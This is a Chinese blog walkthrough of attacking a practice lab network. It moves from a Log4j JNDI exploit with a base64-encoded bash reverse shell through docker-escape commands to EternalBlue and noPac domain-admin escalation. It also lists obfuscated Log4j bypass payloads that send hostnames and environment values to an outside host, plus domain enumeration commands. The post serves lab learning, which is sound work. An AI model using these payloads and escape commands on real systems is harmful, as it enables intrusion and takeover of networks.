千寻笔记:记一次靶机游玩

admin 2022年3月30日18:40:38评论108 views字数 4696阅读15分39秒阅读模式

千寻笔记:记一次靶机游玩
前言

找到个最新靶机包括log4j以及一个内网核弹漏洞,玩一玩还是挺有意思。


千寻笔记:记一次靶机游玩
环境


千寻笔记:记一次靶机游玩

环境拓扑图在靶机里面给了,就放一个截图吧。

千寻笔记:记一次靶机游玩

游玩

信息收集

通常从域名、端口、服务、指纹、旁站、CDN等方面来获取外网的信息

也可以通过oneforall,灯塔等资产收集工具来收集信息

因为靶机在自己的网段之下,一共就这几台机器,所以很快就能定位到外网机器

千寻笔记:记一次靶机游玩

靶机ip 172.16.18.61

nmap探测

全端口扫描

千寻笔记:记一次靶机游玩

38080端口存在服务

千寻笔记:记一次靶机游玩

springboot的报错页面

对springboot敏感路由搜索无结果,想到这个靶机说是有log4j漏洞的,尝试使用dnslog验证一下

${jndi:ldap://fgfk48.dnslog.cn/exp}

千寻笔记:记一次靶机游玩


log4j反弹shell

本机开启一个LDAP服务

千寻笔记:记一次靶机游玩

这里用github上大佬写的自动搭建ladp服务

千寻笔记:记一次靶机游玩

送包执行反弹shell命令

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExLjEyOS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}

玄学反弹,多试几次

千寻笔记:记一次靶机游玩

判断当前是否为docker工作环境

ls -alh

判断根目录下是否存在.dockerenv文件

千寻笔记:记一次靶机游玩

为docker工作环境

cat /proc/1/cgroup

千寻笔记:记一次靶机游玩

看是否有关于docker的信息即可

可以尝试一下docker逃逸

关于log4j payload的一些bypass

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} ${${::-j}ndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} ${jndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}${${lower:jndi}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} ${${lower:${lower:jndi}}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}${${upper:jndi}:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} ${${upper:j}${upper:n}${lower:d}i:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}${${upper:j}${upper:n}${upper:d}${upper:i}:${lower:r}m${lower:i}}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}${${upper::-j}${upper::-n}${::-d}${upper::-i}:${upper::-l}${upper::-d}${upper::-a}${upper::-p}://${hostName}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.${env:COMPUTERNAME}.${env:USERDOMAIN}.${env}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk


docker逃逸

1.docker remote api未授权访问

docker remote api可以执行docker命令,docker守护进程监听在0.0.0.0,可直接调用API来操作docker。

可以远程查看操作当前docker的容器

docker -H tcp://ip:2375 images

能够执行操作的话可以挂载一个新的容器在/mnt目录下,写入反弹shell到计划任务

不过这里不行

千寻笔记:记一次靶机游玩

2.docker.sock挂载到容器内部

在控制的容器内找docker.sock文件

find / -name docker.sock

在容器查看宿主机的docker信息

docker -H unix:///var/run/docker.sock info

运行一个新容器并挂载到主机根目录

docker -H unix:///var/run/docker.sock run -it -v /:/test ubuntu /bin/bash

在新容器的test目录下即可访问当前宿主机全部资源,当前靶机没有docker in docker 条件

千寻笔记:记一次靶机游玩

3.docker高危启动参数

docker以特权模式启动的时候,docker管理员可以通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读取权限,还可以通过写入计划任务等方式在宿主机执行命令

以特权模式运行一个容器

sudo docker run -itd --privileged ubuntu:latest /bin/bash

当前靶机并非特权模式

4.Shocker攻击

漏洞描述:从Docker容器逃逸并读取到主机某个目录的文件内容。Shocker攻击的关键是执行了系统调用open_by_handle_at函数,Linux手册中特别提到调用open_by_handle_at函数需要具备CAP_DAC_READ_SEARCH能力,而Docker1.0版本对Capability使用黑名单管理策略,并且没有限制CAP_DAC_READ_SEARCH能力,因而引发了容器逃逸的风险。漏洞影响版本:Docker版本< 1.0, 存在于 Docker 1.0 之前的绝大多数版本。

https://github.com/gabrtv/shocker

不过使用docker1.0之前的环境近乎不存在了。以后有空搭建一个复现下

5.runC容器逃逸漏洞(CVE-2019-5736)

这个需要将文件传入到容器内,当前条件不允许

千寻笔记:记一次靶机游玩

6.Docker cp命令可导致容器逃逸攻击漏洞(CVE-2019-14271)

参考

https://www.anquanke.com/post/id/193218

http://www.myzaker.com/article/5dd9dd888e9f09082650eba0

具体利用过程

https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/

7.利用DirtyCow漏洞实现Docker逃逸

docker与宿主机共享内核

使用脏牛提权过后监听本地端口可以获得权限

参考

https://www.cnblogs.com/xiaozi/p/13423853.html

千寻笔记:记一次靶机游玩

继续信息搜集


总而言之docker逃逸法子没能用的,只能翻一翻当前docker容器里面是否存在其他可以利用点。

在翻东西的时候找到了第一个flag

千寻笔记:记一次靶机游玩

而且给了一个账号密码

千寻笔记:记一次靶机游玩

返回去看之前的端口扫描是有22端口开放的,尝试连接登上去了

千寻笔记:记一次靶机游玩

探测出了当前网络信息

千寻笔记:记一次靶机游玩

存在两张网卡,且内网段为10.0.1.x

能够直接连,就换了个xshell上了个shell文件

生成正向shell过后通过xshell上传到目标靶机

千寻笔记:记一次靶机游玩

通过msf自带的arp扫描探测内网主机

千寻笔记:记一次靶机游玩

找到存活机器10.0.1.7

做个流量转发探测一下


千寻笔记:记一次靶机游玩
流量转发


就常规socks4a代理就行

千寻笔记:记一次靶机游玩


千寻笔记:记一次靶机游玩
后渗透阶段


1.17010获取win7权限

扫描端口成功但是无法探测OS

千寻笔记:记一次靶机游玩

千寻笔记:记一次靶机游玩

因为机器开放445端口所以尝试用smb探测一下

use auxiliary/scanner/smb/smb_version

千寻笔记:记一次靶机游玩

win7 域控为REDTEAM

445开放的话直接上17010检测

漏洞存在进行利用

打蓝屏了

彳亍

试了几次打通了

千寻笔记:记一次靶机游玩

2.信息收集

信息收集一手

千寻笔记:记一次靶机游玩

第二层内网找到了 10.0.0.x

千寻笔记:记一次靶机游玩

存活机器为10.0.0.12

SYSTEM权限,摸一摸密码

获取到域用户root

千寻笔记:记一次靶机游玩

定位到12为域控机器

千寻笔记:记一次靶机游玩

在桌面找到了flag

千寻笔记:记一次靶机游玩

3.CVE-2021-42287 & CVE-2021-42278

俩内网核弹级漏洞

原理参考

https://mp.weixin.qq.com/s/RvOndF3gdEZbgqrIPqXsUg

先做一个代理

千寻笔记:记一次靶机游玩

在socks4a代理下该脚本无法运行

切换到socks5代理,直接利用 sam_the_admin获取域管

利用成功,通过域用户提权到了域管

千寻笔记:记一次靶机游玩

利用完成,获取到flag

千寻笔记:记一次靶机游玩

千寻笔记:记一次靶机游玩

补充的一些点


1.网卡优先级

ubuntu靶机的内网卡优先级是最高的,导致无法通外网,图方便改了下网卡优先级,使其能够通外网

不然需要在当前网段搭建一个dnslog

千寻笔记:记一次靶机游玩

2.JNDIExploit.v1.2打不通log4j

跟别人交流的时候说是1.2执行不了命令

测试可通

千寻笔记:记一次靶机游玩

3.一些常规的域信息收集手段

Net useNet viewTasklist /vIpconfig /all net group /domain 获得所有域用户组列表net group “domain admins” /domain 获得域管理员列表net group “enterprise admins” /domain 获得企业管理员列表net localgroup administrators /domain 获取域内置administrators组用户(enterprise admins、domain admins)net group “domain controllers” /domain 获得域控制器列表net group “domain computers” /domain 获得所有域成员计算机列表net user /domain 获得所有域用户列表net user someuser /domain 获得指定账户someuser的详细信息net accounts /domain 获得域密码策略设置,密码长短,错误锁定等信息nltest /domain_trusts 获取域信任信息

SPN扫描

不同于常规的tcp/udp端口扫描,由于spn本质就是正常的Kerberos请求,所以扫描是非常隐蔽,日前针对此类扫描的检测暂时也比较少。

大部分win系统默认已自带spn探测工具即:setspn.exe

此操作无需管理权限

setspn -T target.com -Q */*

可以列出win机器内的服务以及域控。

千寻笔记:记一次靶机游玩
END

监制:船长、铁子   策划:格纸   文案:Xanadu   美工:青柠

原文始发于微信公众号(千寻安服):千寻笔记:记一次靶机游玩

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月30日18:40:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   千寻笔记:记一次靶机游玩https://cn-sec.com/archives/856080.html

发表评论

匿名网友 填写信息